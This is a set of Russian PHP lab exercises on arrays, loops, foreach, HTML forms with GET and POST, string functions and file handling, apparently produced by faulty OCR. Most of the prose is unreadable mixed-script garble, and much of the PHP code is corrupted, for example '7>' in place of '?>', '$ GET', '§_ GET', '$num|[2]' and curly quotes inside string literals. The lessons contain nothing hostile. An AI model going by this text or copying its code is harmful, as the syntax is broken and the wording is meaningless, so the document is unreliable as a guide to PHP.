$num=array(7,0,4,6);
$name=array(“Bacs”,”Iletp”,”Komns”,”Cama”);
$bool=array(true,false,false,true);

$oll=array(7, "Tletp”,false,6);

7>

[Tpu cozmannm MaccruBa KaKIOMY €T0 3JIEMEHTY MOYKHO Cpa3y 3a/1aTh CBOU «KITFOUY», TO €CTh ONPEICTUTh
PacrojIoKeHUE TAHHOTO JIEMEHTa B MACCHUBE.

IIpumep:

<?php

$num=array(0=>7,1=>0,2=>4,3=>6),

$numl=array(0=>8,3=>9,7=>4,5=>6);

$name=array(6=>*Bacs”,7=>"Kons”,8=>"Cama”);

r>

Zanmuce$num=array(0=>7,1=>0,2=>4,3=>6);
Osnavaer, yro$num[0]=7; $num[1]=0; $num[2]=4; $num[3]=6

3anuce
$numl=array(0=>8,3=>9,7=>4,5=>6);
Osnavaer, yro$num1[0]=8; $num[3]=9 ; $num[7]=4; $num[5]=6

3anuch
$name=array(6=>*Bacs”,7=>"Kons”,8=>"Cama”);
Osnauaet, yro$name[6]="Bacs™; $name [7]="Komus” ;
$name [8]="Cama”;

Kak naiiTi u pacneyaraTb HYKHbIH 3JIeMeHT MaccuBa?
[Tpumep:

<?php

$num=array(0=>7,1=>0,2=>4,3=>6);
$numl=array(0=>8,3=>9,7=>4,5=>6);
$name=array(6=>*Bacs”,7=>"Kons”,8=>"Camia”);

//pacnieuarbiBaeM 2-if SIeMEHT MaccuBa $num
echo $num|[2]; //maneuaraet 4



// pacriedaThiBaeM 3-i 3IeMEHT MaccuBa $numl
echo $num1[3]; / nameuaraer 9

// pacriedaTsiBaeM 7-i 371eMEHT MaccHBa $name
echo$name[7]; /Haneuataetr Koms

//pacnieyaTbiBaeM BeCh MacCHB $num
echo $num; //Haneuaraer 704 6

// pacriedaThIBaeM BECh MACCHB $numBMecTe ¢ KIFOUYaMHU
print_r($num); // HanewaraetArray ( [0] =>7 [1]=>0[2] =>4[3] =>6)
>

Kakno0aBuTh HOBBIH 3JIEeMEHT MACCMBA WJIH U3MEHHUTDH CYyIECTBYIONIUIA 3JIeMeHT?
IIpumep:

<?php

$num=array(7,0,4,6);

$numl=array(0=>8,3=>9,7=>4,5=>6);

$name=array(“Bacs”,”Iletp”,”Koms”,”Cara”);

//mobaBisgeM B $num 3meMeHT ¢ KiiroyoM 4

$num([4]=5;

//mo6asisieM B $num1 35eMeHT ¢ KirouoM 2
$num1[2]=3;

//MeHsieM B $name 31EMEHT C KIIIOUOM 3
$name[3]="Mumia”;

//no6aBisieM B $num1 35ieMeHT ¢ KiI04YoM § (€cii He yKa3aH KIIko4 B //KBapaTHBIX CKOOKax TO OH Oepercs
Ha 100JbIIIe MAKCUMAITBHOTO //CYIIECTBYIOIIETO)
$num1[]=33;

//mo6asisieM B $name anemeHT ¢ kirodom 4
$name[]=67;
7>

Kak YAQJIUThb 3JIEMEHT MaCCuBa BMECTE € KJIIOY0M WJIHN BECh MaccuB?

[Tpumep:

<?php

$num=array(7,0,4,6);

/lymansieM 3JIEMEHT MacCHBa C KJIIFOUOM 2
unset ($num [2]);

/lynainseM Bech MacCUB

unset ($num);
>

Kak nepennaexcupoBaTh MacCuB?

<?php

$num=array(7,0,4,6);

/lynamam B $num 351eMeHT ¢ Kiro4oM 2 (310 4)
unset ($num [2]);



//Terepb B MaCCHBE OCTAIKMCh dIEMEHTHI ¢ Kiroyamu 0, 1, 3
// $num [0]=7$num [1]=0 $num [3]=6
//mepenHaekcupyeM $num, U TOIYYHM KIFOUYH IO TIOPSIKY
// $num [0]=7 $num[1]=0 $num [2]=6

$num = array_values($num);
7>

IpakTnyeckoe 3axanue no reme « OcHoBbl PHP» Ne 4 «CoBMecTHOE MCII0JIb30BAHUE YCIOBHBIX
0NepaTopoB, HMKJIOB, MACCUBOB»

[{enb 3aHATHA: OCBOMTH OCHOBHBIE IIPUEMBI COBMECTHOIO UCIIOJIB30BAaHUS PAIMYHBIX YIIPABIISIFOIIAX
KoHcTpykuuii B PHP
ITpakTuyeckas paboTa paccunTaHa Ha 4 akaJeMHUYECKUX daca.

IToaroToBKa K NpaKTHYeCKOH padoTe:

1.03HaKOMMTBCS C JIEKIIMOHHBIM MaTepuanoM 1o teMe «OcHoBbl PHP» yueOHo# auctummuns "S3b1k php".
(Jlexuus 1,2)

2. 3amyCTUTh YCTAHOBIIEHHBIN Ha KOMITBIOTEpE MakeT Denwer

3ananus
1. C nomousro nukia for pacnevarats Ha crpanuue 10 pa3 Haanucek «Helloworld!!!» cienyrommmu
CIIOCOOaMHU:
a) IpyT 3a IpYroM B OJHOI cTpoke uepes npoodelt;
0) 10 0JTHOMY pa3y B KaXKJIOW CTPOKE;
B) IO JIBa pa3a B KaKJOU CTPOKE.

2. C nomoueto nukia for u nuncrpykuuu if pacrneyarars Ha ctpanune 10 pa3 Hagnucs «Helloworld!!!»
CJIEIYIOIIM 00pa3oM:

a) yepe3 CTPOKY (B OJIHOM CTPOKE MevyaTaeM, CIeIyIONIyIo MPOMyCKaeM UTN);

0)B Ka)KJJ01 TPETbEN CTPOKE;

B) B YETHOM CTPOKE I10 /IBa pa3a, B HEUETHOU CTPOKE M0 OJHOMY pa3y.

3. C nomouisto 1ukia for u nactpykuuu if-else pacnevarars Ha crpanune 10 pa3 Haanuce «Helloworld!!!»
CJIEIYIOIIM 00pa3oM:

a) B YETHBIX CTPOKAX XHUPHBIM IIPU(PTOM, B HEUETHBIX CTPOKAX KypCHBOM

0) B YETHBIX CTPOKAX KPACHBIM IIBETOM, B HEUETHBIX CTPOKAX 3€JIEHBIM LIBETOM.

4.Co3znate iepemMeHHyo $day, mpucBouTth it HekoTopoe 3HadeHue (ot 1 10 7). C moMoIIbI0 HHCTPYKITUU
switch pacnieuatats nepemennyto $day v Ha3BaHuE JHS HEAEIU KOTOPOE COOTBETCTBYET 3HAUCHUIO
nepeMeHHoi $day.

5. CoznaTth MaccuB $arr, 3aMoJIHUTh €r0 CTPOKaMU, COepKalluMU Ha3BaHus MecsleB. C MOMOUIbIO KA
while, unctpykiuu if u pynkun echo pacriedaraTts conep:KUMoe MacCuBa CIEAYIOMIUM 00pa3oM:
Ha3BaHME KAXKJOro YETHOIO MecsIia pacnedaraTh )KUPHBIM MIpU(TOM, Ha3BaHHE HEYETHBIX MECALICB
pacrneyaTaTh KypCUBOM.

Omnepartopsl «break&continue»

1. ITycts nmeetcs maccuB $names, conepxaniuii 10 mpon3BOIBHBIX 3JIEMEHTOB, 3HAYEHHSI KOTOPBIX MOTYT
MOBTOPSITHCS.



Hatitu HepBLII;'I QJICMCHT MaCCHBaA, conepmamnﬁ CJIOBO «HeTp» W HOMCDP OTOT'O 2JICMCHTA.

2. B MmaccuBe $names u3 MEPBOro 3aaaHusA HaWTH HOCHG,Z[HI/II‘/‘I QJICMCHT, conep;xamnﬁ CJIOBO «HeTp» u
HOMCEP 3TOI'0 3JICMCHTA.

3. ITyctb umeetcs maccus $num, cocrosuumii u3 10 uucern.
Haiiti BTOpoe yeTHOe 4nCIi0 B MacCHBE U HOMEP, M0 KOTOPHIM OHO 3aIHCaHO B MaCcCHUBE.

4. ITycts uMeeTcst MaccuB $num, cocrosmuii u3 10 gucern.
Haiitn cymMy 4eTbIpex IOCIIEIHUX 3JIEMEHTOB MACCHBA.

5. Ilyctb umeetcs maccus $num, cocrosumii u3 10 uucern.
Haiiti cymMMy ISITH TIEpBBIX 3JIEMEHTOB MacCHBA.

6. Ilycts umeercs maccuB $num, coctosiuii u3 10 yucern.
Haiitu cymMy 351eMEHTOB, PacloIOKEHHBIX MEXKIY AIEeMEHTaMH «3» U «6»
Omnepartop (foreach)

1. Ilycts umeetcs maccus $oll, conepkamuii 5 mpon3BONbHBIX 31eMeHTOB. C MOMOIIIBIO OnepaTopa
foreach pacnieyaraTs 351eMEHTBHI MacCCHUBa CO BTOPOTO MO MOCIEAHUM.

2. Ilycte umeetcsa maccuB $oll, cogeprkamnuit 5 mpou3BOIBHBIX 1eMEHTOB. C MOMOIIIBIO OnepaTopa
foreach pacrieyataTh Bce HEUETHBIE PJIEMEHTHI MACCHBA U HOMEPA 3TUX 3JIEMEHTOB.

3. [Tycts umeetcs maccus $oll, conepxamuii 5 Tpon3BONbHBIX 371eMEeHTOB. C TOMOIIIBIO OTMlepaTopa
foreach pacrieuataTh Bce JI€MEHTHI MacCHBa PACIIONOKEHHBIE 10 neMeHTa «BaHy, a Tak ke HoMepa ITUX
AJIEMEHTOB.

4. Ilycth umeetcst maccuB $oll, cogepxamuii 5 mpou3BOIBHBIX 371eMeHTOB. C MOMOIIIBIO onepaTopa
foreach pacnieuarars Bce 3J1eMEHTBI MAacCUBa PacIOIOKEHHbIE 1ocie neMenTa «Iletp», a Tak ke Homepa
ATHX HJIEMEHTOB.

5. ITycts umeetcs maccus $oll, conepxamuii 10 npousBosbHBIX d51eMeHTOB. C MOMOIIBIO OniepaTopa

foreach pacneyaraTtb BCC 3JIEMCHTBI MAaCCHUBA PACITIOJIOKCHHBIC MEKAY 3JICMCHTAMU, PaBHBIMUA «HBan» u
«HeTp», d TaK X€ HOMCpPaA 3THX 3JICMCHTOB.

IMpakTnyeckoe 3axanue no teme « OcaoBbl PHP» Ne 5 «O0patdorka dpopm»
[leJb 3aHATHS: OCBOUTH OCHOBHBIE IPHUEMBI COBMECTHOT'O UCIIONB30BAHUS PA3IMYHBIX YIIPABISIONIUX
KOoHCTpykuuii B PHP
[TpakTiueckas paboTa paccunTana Ha 4 akaJeMHYECKHX Yaca.

IloaroroBKa K NpaKTHYECKOM padoTe:

1.O3HaKOMHTHCS C JIEKITMOHHBIM MaTepuanoM 1o teme «OcHoBsl PHP» yuebHoi nuctiummunst "A3b1k php'.
(Jlexmus 4 )

2. 3amyCTUTh YCTAaHOBJIEHHBIA HAa KOMIIbIOTEPE MakeT Denwer



3aganus
3aganue 1. Co3znaiite HTML-nokymenT no6assre B Hero HTML-kox, nipencrasieHssiit B Jluctunre 2.
Coxpanure nanasii HTML-gokyMeHT noa umeneM primer.html. [IpocMoTpuTe pe3yiabTar B OKHE
Opay3sepa.

3aganue 2. Mcronb3ys ykazaHHyto Bbie (opMy, BBeaute B nosie Jlorun (name="Login") 3HaueHue
"Vasiliy", a B moste [Tapons (mame="password") snauenue "BillisTheBest" n HaxxmMuTe KHOTIKY
(name="button" type="submit").

3aganue 3. Coxpanute php-ko, npeacraBieHubii B Jluctuare 3, kak obrabotchikl.php. Otkpoiite
¢dbopmy primer.html B okHe Opay3epa U IpOCMOTpHUTE pe3yabTaT paboTsl php-koaa obrabotchikl.php.

3ananmue 4. Coxpanute php-kox, npeacraBieHdbiid B JIuctunre 4, kak obrabotchik2.php

3ananmue 5. B cozganHom panee HTML-¢aiine primer.html 3amenuTe
action="obrabotchikl.php'" method="get"

Ha

action="obrabotchik2.php'" method="post"

u coxpanute kKak primer2.html. [IpocmoTpute pe3ynsTaT B OkHE Opay3epa.

TakxuMm 00pa3oM, pacCMOTPEHBI JIBa OCHOBHBIX METO/Ia TIOTy4eHUSI MHPOPMAITUH OT KIHEHTA,
ucnonszyemsie B PHP-ckpunTax. [IpucMoTpuTecs Kk apecHbIM CTpOKaM BHUMaTeIbHee!

ITpumepsi

Ipumep 1.PaccmoTpum THIIMYHYIO GOpMY, ITyCTh 3TO OyneT popMa BBOJIA JIOTHHA U TIAPOJIs HA caifTe:
Jluctunr 2. Html-¢popma primer.html

<htmlI>

<head>

<title>Dopmbr</title>

</head>

<body>

<form action="obrabotchik1.php" method="get">

<div>

Jlorun: <input type="text" value=

nn

name="login"/> [1apos:

<input type="password" value="" name="password"/><input

—n

type="submit" value="TIpoBeputs" name="button"/>
</div>

</form>

</body>

</html>

Ot kaxoro 31eMeHTa <input>Ha cepBep OyayT nepeaHbl 3HAYSHHS BYX aTpuOyTOB: name (MMs
aneMeHTa) u value (3HaueHue), T.e. Ha camoM Jiene Ha cepBep nepenarotcss [IEPEMEHHBIE.
Ilepemennbie moryT nepenansl ABymsi Merogamu: GET u POST. Ecinu Mmeton sBHO He 33/1aH B Tere
<form>, To 6yzner BeiOpan GET.

IIpumep 2. [l npoBepKU NPpaBUIIBHOCTH BBOJIA JIOTHHA U MAPOJIsl UCIIOIb3yeM cieayrouuii php-kox:
Jluctunr 3. obrabotchikl.php

<?

$userLogin =$ GET["login"];

$userPassword = §_ GET["password"];

if (SuserLogin=="Vasiliy" && $userPassword=="BillisTheBest")

echo "3apasctByiiTe, Bacunuii! Jlorun u [Tapons BepHbL.";

else

echo "OmmoOka B BBozie Jloruna unu [lapons. Bacunuii Bbl 306110 mapois?";



7>
OT0 OBUT IpoCTENIINI pUMeEp, WILTIOCTpUpYIoLHi padoty merona GET.

IMpumep 3. Mogudurupyem npumep php-xoma obrabotchik1.php
Jluctunr 4.obrabotchik2.php

<?

$userLogin =$ POST["login"];

$userPassword =$§ POST["password"];

if (SuserLogin=="Vasiliy" && $userPassword=="BillisTheBest")
echo "3npasctByiite, Bacunuit! Jlorun u [lapons BepHBI.";

else

echo "OmmoOka B BBoJIe Jlornna wnu [lapons. Bacunuit BeI 3206111 Taposs?"';
>

Kparkuii 3kcKypc B T€OpHUIo
Oo0men nngopmanueii mexay Web-cepBepoM 1 KJINEHTOM

IMonyyeHnne TaHHBIX OT KJIMEHTA

Web-caiiT — 310 mouTu Beeraa nuanor. KoneuHo, BctpeyaroTces "0JHOCTOPOHHUE" CalThl, aBTOPHI
KOTOPBIX CTPEMSITCSI TOJIBKO MOKa3aTh, HO HE YCIIBIIIATh OT3bIB O TOKa3zaHHOM. Ho gake Tam peako
obxomutcs 0e3 cChUIKM Ha aBTopa: "Bce, 9To BbI fymMaeTe 1o 3TOMY IMOBOTY, IMUIIUTE croa'.

Ho yame "caifroBiaznenen" xenaeT noiayyaTb O CBOMX IOCETUTENAX ropasio Oonblie nHpopmanuu. Peus
MoMAET 0 croco0ax MoJydeHuss HHPOPMAIIMKA OT CaMHUX MOJIb30BaTelield, — HalpUMEDP, aHKETHBIX JaHHBIX
JUTS. BCTYTUICHUS] B BUPTYAIBHBIN KITy0 MIJIM MHEHHH 110 HHTEPECYIOIIEMY Bac BOIIPOCY.

Kak MOJYYNTDH JaHHBIC U NIEPCAATH UX JUJIA 06[28.60TKI/I?

JLJ1st 9TOM T UCTONIB3YIOTCS hopMbl — MO cO80KYnHOCcmb cmanoapmuvix HTML-koncmpyxkyuii 6600a
MeKCmogoll U npoyell UHGoOpMayuU U NPocpamMmsbl-oopabomuuxa 3mou uHgopmayuu, pabomaroujeli Ha

Web-cepsepe. InpiMu criioBamH, nosb3oBartenbekas popma (mm HTML-dopma) ciykut i nepeaayn
MH(GOPMAIMOHHBIX TaHHBIX CEPBEPY.

Pesynbrar koHCTpyKUUMi sf3b1Ka pasmeTku HTML untepnperupyercs 6pay3epoM, ¢ IOMOIIBIO KOTOPOTO
MOJIb30BaTENb 3JIEKTPOHHOTO IOKYMEHTa MoTydaeT nHpopmaiuio. Takum o0pa3oM, 00beIMHUB BCE ITH
(hOpMYyJIUPOBKH, MOXKHO CKa3aTh, 4T0 HTML-hopMa BEICTYNIAET B POJIM OCPETHUKA MEWKITY
II0JIb30BATEIEM U CEPBEPOM.

[Tocerurens Web-crpanuisl BBogutr B HTML-dopMmy onpeneneHHbIe JaHHBIE, KOTOPhIe 00padaThIBAIOTCS
mporpaMMmoii u oTcbutatoTest Ha Web-cepBep. Bee 3Tu aeiicTBUS yKIaAbIBAIOTCS B TPU CTaAUU:

1. BBox monp3oBaTesieM nHGOpMAIIHH.

2. O6paboTka BBEeICHHON WH(OpPMAITUU TIPOTPAMMOM, YCTAaHOBJIICHHOW Ha cepBepe.

3. Ilony4enue pe3ynpTara OTIPaBICHHUS BBEACHHON nH(popmarmu Ha Web-cepBep (OTKpBITHE HOBOTO
HTML-nokymeHTa, mepeaapecamus Ha IPeIbI YTy CTPAHUILY U TIp.).

B kauectBe nporpammei-oOpaboTurka yaiie Bcero BoicTynaeT CGI-cuenapuii (CKpunT, KOTOPBIH 0OBIYHO
paspabatbiBaercs Ha s3bike Perl i C/C++ 1 KOTOpBII B3aMOAECHCTBYET CO CIIEUATIEHBIM KOMIIOHEHTOM
Web-cepepa —Common Gateway Interface) niu nporpaMmebl, HalMCaHHBIE HA OCHOBE TAKUX CEPBEPHBIX
A3BIKOB ITporpamMmmupoBanusi, kak PHP, ASP, JSP u np.

3HaueHue MoJIb30BATENLCKUX (OPM TPYAHO NEPEOIICHUTh — OHH ABIIAIOTCS 0cO0bIM cpenctBoM HTML,
JAIOIIUM TTOCETUTEII0 BO3MOXXHOCTh HE TOJIBKO TACCHBHO MPOCMATPHUBATh WHPOPMAIINIO, HO U OBITh
3aJIeCTBOBaHHBIM B

conepxannu Web-caiita. Takoe cBOICTBO MPUHATO HA3bIBAaTh MHTEPAKTHBHOCTHIO, KOTOpAast Ha
CETO/IHAIIHUN JIeHb BCTPEUAETCs MPAKTUYECKU BO BCEX AJIEKTPOHHBIX TOKYMEHTaX.

OcHoBHas cxema ¢opMbI:

[Togo6HO dpeitmam, TabmuaM U Apyrum "KpyrmHoradbapuTHeIM" 3emenTaM Web-ctpanuiisl, popma — 310
o6mox HTML-koxna, oOpa3oBaHHbIi cnienuanbHbIMe deMeaTaMid HTML. ['panuniamu Takoro 610ka cayxar,
KaK JIETKO JIOraIaThCsA, 1eCKpUNTopbl <FORM>:

BHyTpu GopMBI MOTYT pacnoiaratecs CICAYIOINE JIeMEHThI HHTepdeiica:

IIOJIA BBOJA,




CKPBITEIC ITOJIA BBOJA,
KHOIIKH
OCPCKIOYATEIIN

duakkm;

BBIMMAAAIOMIME CITMCKH.

JList paboThl B hopmMe HE0OX0IMMO YyKa3aTh JiBa aTpuOyTa: action — MyCTh K CKPUNITY, KOTOPBIA OyAeT
oOpabaTeiBaTh JaHHBIC, M method — cmocob nepenayn TaHHBIX.

Kak npaBuiio, aiis otripaBky nHGOpMANUU Ha cepBep (T.€. epeiadr B php-CKPHIIT) MOJIb30BaTENb JTOJIKCH
HaXkaTh KHOMKY <input type="submit" value="TekcT kHOTIKK" />.

To, kakoii u3 gqoctymabix B HTML anemeHTOB <input> OyIeT mpeCTaBlIeH Ha CTPAHUIIE, OTIPEICIIICTCS
aTpuOyTOM type (110 YMOJIYaHHIO OH PaBeH text, 4TO 03HAYAET «II0JI€ BBOJAY).

Or KaXXKA0T0 3JICMCHTA <in[zut>Ha CCPBEP 6YZIYT NEPEaAAHbl 3HAYCHUA IBYX aT[ZI/I6YTOBZ name (UMs

pjieMeHTa) ¥ value (3HaueHue), T.€. Ha caMoM Jiene Ha cepBep nepenatorca [IEPEMEHHBIE.
Ilepemennbie MoryT nepeaannl ABymsi Mmetoaamu: GET u POST. Eciiu meTon siBHO He 3a/iaH B Tere
<form>, To 6yzner BeiOpan GET.

Merton GET ocHoBaH Ha TOM, YTO BCC NEPCMCHHBIC NCPCAAOTCA HCIIOCPCIACTBEHHO B aZ![ZeCHOﬁ CTPOKCE:

IocJie TIOJTHOTO apeca CTaBUTCS 3HAK BOMPOCA U MEPEUUCIIAIOTCs nepeMeHHble. Cpa3y ke CTOUT 3aMEeTHUTbh,
yro anuHa URI (agpeca) orpanndena, a Takxke Bes nepeaBaeMas HH(OpMaIUs JerKo JOCTYIHA

HETIOCPEICTBEHHO B aJPECHOM CTpOKE.

T.e. cepBepHbIi crieHapwuit (aitn obrabotchik1.php) moayuuT oT KMEHTa TPpU IEPEMEHHBIX

login=V asiliy

password=BillisTheBest

button=IIpoBepurn

Ha camom perne B 3ampoce nepenacTcs HAMHOTO OO0JIbIlie TaK Ha3bIBAEMBIX BCTPOCHHBIX ITEPEMEHHBIX,
Harnpumep: HHPopMalus o Opaysepe MmojIb30BaTeNs, ip-apec, MpeIblIyas MOCeUICHHAs CTPaHHIIa,
MIPOTOKOJ UCTIOIb3yEeMbIi KIITMEHTOM U TaK Jajee...

YToObl MONYYHTh 3HAYCHHUE NTIEPEMEHHBIX B ciieHapun PHP HyxxHO oOpatuthes k MaccuByS GET["ums

nepeMeHHon" .

Merton POST, B otnuuue ot merona GET, mepenaet Bce NepeMEHHbIE HENOCPEACTBEHHO B TEJIE 3aMpOCa.
D10 U ABasAeTCs ero ocHOoBHBIM otanureM oT GET. Brl MoxkeTe nepenats 1aHHbIe CKpeITHO. Kpome Toro,

meton POST mo3BoJsieT OTpaBUTh HAMHOTO OOJIbIIe HHPOPMAINY, HE OTPAaHUYMBAsICh MAKCUMAIIBHO
JOITYCTUMOM JUIMHHOW aJJpECHON CTPOKH.
B cnienapusx PHP ucnonszyem maccuB § POST["umst nepemMeHHOR"].

IMpakTnyeckoe 3axanue no teme « OcaoBbl PHP» Ne 6 «O0patdorka dpopm»

[{esb 3aHATHSI: OCBOMTH OCHOBHBIE TIPHEMBI ITepeaaun U 00padboTku nqaHHbIX html-dhopm B PHP
[TpakTudeckas pabota paccunTana Ha 4 akaJleMHUUECKUX daca.

IToaroToBKa K NpaKTHYeCKOH padoTe:

1.0O3HaKOMMTBCS C JEKIIMOHHBIM MaTepuanoM 1o teMe «OcHoBbl PHP» yueOHo# auctummuns! "S3b1k php".
(Jlexuus 4 )

2. 3amyCTUTh YCTAHOBIIEHHBIN Ha KOMITBIOTEpE MakeT Denwer
3ananus

3aganue 1: Pa3zpaboraTs npuiioxeHue, B KOTOPOM:
1. Co3naercst popma form.html 17151 BBeieHUS MONIb30BaTENEM TIaHHBIX:



2. PHP-cuenapuii obrabotchik.php nonyvaer gannsie ¢ popmst .

3. OtoOpaxkaeT U3BJICUCHHBIE U3 (POPMBI IaHHBIE B OKHE Opay3epa.
Onucanue s1emenmos Qopmovl MaxKux Kax:

KHONKaA ¢ uzoopasicenuem (type=image),

noze 8800a napois (type=password),

CKpbimoe mexcmogoe noie (type=hidden),

MHO20CMPOUYHOe nojle 8600a meKcma (textarea),

KHONKa 0115 3a2py3ku ¢atinos (type=file),

umeromcs 6 Ilpunosxcenuu Oannou 1a60pamopHoll pabomol.

BapuanTbl 3aganuii
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Bapuanr 4.
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Bapuaur 6.
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IIpakTyeckas padora teme « OcHoBel PHP»Ne 8 (pyHkumu a1 padoTel co cTpokamu)
3aganus:

1. ITycTh mosib30BaTeNh B TEKCTOBOM 10JI€ (POPMBI BBOUT Uepe3 Mpoodes CBOIO (haMUIIUIO, UMS M OTYECTBO.
Hanpumep: UBanos UBan UBaHOBHY.

IIpoananu3upoBaTh COAEPKUMOE BBEAEHHOM cTpokH. Eciu cTpoka conepkut cinoso « MBaH», TO BbIAATH
coobmenue: 3apaBcrByiiTe, UBan! Mbl Bac Hanuiu!

B npotuBHOM ciyyae (eciu cinoBa « MBaH» B CTpOKE HET) BbIJaTh CTAHJApTHOE IPUBETCTBUE!
«3apaBcTByiiTe haMUiINs UMSA 0TYECTBOY

Iloockaska: éocnonvzosamovcs pyukyuell Strpos (LCX00Has cMmpoKa, UCKOMAA CIMPOKA)

2. IlycTh mONMB30BATENb B TEKCTOBOM IT0JI€ (DOPMBI BBOJUT TEKCT CIEAYIOMIETO coqepkanus: UBaHoB
HNBan UBanoBuY 310 aBTOP MOHOrpadun, numMewinei Hazpanue: «McciaenoBanus
IJIOCKO(HUTYPAJIbHOJNHEHHBIX [JIAIKOTHIIEPO0INYeCKUX MCeBIOCTPYKTYP »

Bbiienuts U3 BBEIEHHON CTPOKH Ha3BaHUE MOHOIpaduu U pacreyaTarhb ero.

Iloockaska: 6ocnonvzosamucs yukyuetl strstr (UCXoOHas cmpoKa, CMPOKa HAYUHAS ¢ KOMOPOll
gopmupyemcs pezyiomam)

3. [Tycth monb30BaTenb B TEKCTOBOM M0J€ (POPMBI BBOAUT CTPOKY, COAECPKAIILYIO HA3BAHUS €r0 JTFOOMMBIX
LIBETOB, HarpuMmep: «$1 1100/110 KpacHble TBO3TUKH, KPACHbIE MAKH U 3eJIeHbIe PO3bI»
3aMEeHUTh B CTPOKE BCE CIIOBA «KPACHBbIE» Ha «BKYCHBbI€» U pacleyaTarhb MOJyYeHHYIO CTPOKY.

Iloockaska: eocnonvzosamuvcs pyukyuel str_replace(uckomoe 3nauenue,
3HaueHue OJisl 3AMeHbl, UCXOOHAsL CMPOKQ)

4. ITycTh mosb30BaTeNlb B TEKCTOBOM T0JI€ (YOPMBI BBOAUT Yepe3 Mpodest CBO0 (haMUIINIO, UMS U OTYECTBO.
Hanpumep: UBanos UBan UBaHOBHY.
PacrnieyaraTs npUBETCTBHE CIIEIYIOIIETO BUJA!



3apaBcTBYIiTE YBasKaeMblil KJIHEHT!

Bame ums — UBan. OHo cofepxkut 4 OyKBbI.

Bama ¢pamuins — UBanoB. OHa coaepxkut 6 OyKB.

Bame otuectBo — UBanoBu4. OHO comepkuT 8 OYKB.

Iloockaska: eocnonvzosamucs gpyukyuei explode("pazgenutens", “UcxoHas CTpoKa”) KOTOpas pas3ienser
HCXOJIHYIO CTPOKY Ha 3JIEMEHTHI U PYHKIMEH count( ) U1 mojcueTa yucia OyKB B CIIOBE.

5. IlycTh mosib30BaTeb B TEKCTOBOM T0JIe ()OPMBI BBOJIUT JIBA MIPOU3BOJIBHBIX CIIOBA, Pa3/ICICHHBIX
npoOenamu. HarpumMep: «KpacHbie po3b»

Pacnieuarats cooOlieHue ClIeayomero Buia: CJ10B0 KKPACHbIE» COAEPKUT Ha 3 OYKBBI 00J1bllIe YeM
CJIOBO «PO3bI»

Iloockaska: socnonvzosamucs gynrkyuet explode("paznenurens', “UcxoaHast CTpoka’) KOTopasi pa3aemseT
UCXOJHYIO CTPOKY Ha 3JIEMEHTHI U PyHKIMEH count( ) AJis mojicyeTa yucia OyKB B CIIOBE.

IIpakTuyeckas padora no reme « Ocaosl PHP» Ne 9 php «daitnbny

IToaroroBka:

W3 npenpiaymux 3ananuii B3sSTh html - qokyMeHT ¢ popmMoii oTIpaBKy TaHHBIX HA CepBEP. (€CIIM TaKOTO
(aiina HeT, TO co3aaTh). B mapamerpe action ¢popmbl ykazath HazBaHHe (aitna-o0padoTanka Gopmbl,
Hanpumep: “w_r_file.php”.

(Kak anbTepHaTHBa: MOXHO BOOOIIE yOpaTh napameTpaction u3 GpopmMel, nepeuMEHOBATh JOKYMEHT, J1aB
eMy pacimipenue .php u Bce php- CKpHUITBI MTUCATH B 3TOM XK€ IOKYMEHTE, Pa3MECTHB HX HHKE KHOIIKH
OTIPaBKHU (HOPMBI)

3aganus:

1. C nomomisto php oTkpsITh aiin ¢ pacmmpenrem html u ¢ momornsio pynkiuu fwrite() 3anucars Tyna
BCE 3HAYCHMSI TEKCTOBBIX TMOJICH (POPMBI CICAYIONIMMHE CIIOCOOaAMMU:

a) Bce JaHHbBIE TIOCTIEI0BATENIBHO B OJTHOM CTPOKE;

0) 3HaYeHME Ka)kJJ0Or0 TEKCTOBOTO MOJISI B CBOEH CTPOKE.

2. omucath B ¢aiiyl MPUBETCTBHE MOJIB30BATEIIO, TAKMM 00pa3oM, 4TOOKI pu OTKphITHH (haiina B Opaysepe
OHO OTOOPA3UIIOCh YUTAOCIEHO U KPACHUBO. 3aKPBITh CO3JIaHHBIN (aii.

3. OTKpBITh CO3JaHHBIN (aiiin 71 YTCHHUS.

C nomomrsio ¢pynkuuii fread u filesize cunrats conepxumoe daiina B 0Hy CTPOKY U BHIBECTH Pe3yJIbTaT
Ha JKpaH.

C nomomrsio ¢pyHkuuu fgets() cuuTars:

a) IEPBYIO CTPOKY (aiina;

0) nepBbl€ NSATh CUMBOJIOB IIEPBOM CTPOKH.

B) ucnonn3ys feof() u fgets() cunrars Bce qaHHbIe U3 daiina;

Pe3ynbTaThl BHIBECTH Ha 3KpaH.

ITonckaska: Bo3Bpatr B HayaJlo (paiiia /i HOBTOPHOI'O YTEHHSI OCYIIECTBIIATH C IOMOLIbIO (DYHKIIUH
fseek(neckpunrop, nozunus, SEEK_SET);

4. C nomomrpio Gpynkiun fgete cuutats epBbie 7 CMMBOIIOB U3 (haiisia, TOTOM BEepHYTHCS B Havaso (haiina
U CUUTATh IIEpBbIE 5 CUMBOJIOB. Pe3ynbTaThl BBIBECTH Ha 9KpaH. 3aTeM pacreyararsb Bech (aiin
MIOCUMBOJIBHO.

5. C nomomipio ¢pynkimn readfile BEIAATh Ha SKpaH COAEPKUMOE BCETO (aiina.

6. C momomnipto ¢pynakiuu file() cuutarh copepxkumoe ¢aiina B MaccuB. BeiBecTr Ha 3KpaH (U3 MacCUBa)
BTOPYIO U YETBEPTYIO CTPOKH (aiina.



7. C nomomipto ¢pynkiun fgets() cumrarth nepsbie 3 cTpoku (aiina, 3aTeM BepHYTh Kypcop B Havyalo ¢aiiia
Y TIPOYHTATH TIEPBBIE 2 CTPOKU. Pe3ybTaThl BHIBECTH HA SKPaH.

8. Hamucartp ckpumr, nmoACUUTHIBAIOIINM KOJIMYECTBO CTPOK B (aiiie
9. 3anucath TEKCT: «A BOT U OHO!» B YETBEPTYIO CTPOKY (aiina.

10. Co3natb Tpu php-mokymeHTa. B 01HOM U3 HUX pean30BaTh AJITOPUTM UTEHUS (ailia U BeIIaYH €ro
COJZIEP>KUMOT0 Ha SKpaH. Bo BTOpoM TOKyMEHTE peain30BaTh aIrOPUTM UYTEHUS TpeThel CTpoKu ¢aiina u
BBIJIAYM €T0 Ha ’KpaH. B TpeTbeM nokyMeHTe ¢ moMomisio pyHKIuu include peanu3oBaTh BBI30B CKpHIITA
1-ro 1 2-T0 TOKYMEHTOB.

IIpakTnueckoe 3aganue no teme « OcuoBbl PHP» Ne 10 «pynkmumn»

Hcnoan3oBanue GyHKumMn

3aoanue

- B Bame#t marike myphp

JOKYMEHT C Ha3BaHueM 13.php.

- 3apaiite emy konupoBky UTF-8.

Bce cnenyromue onepaiinu Ipou3BOISITCS B 3TOM JIOKYMEHTE

1. Bv1600 mexcma

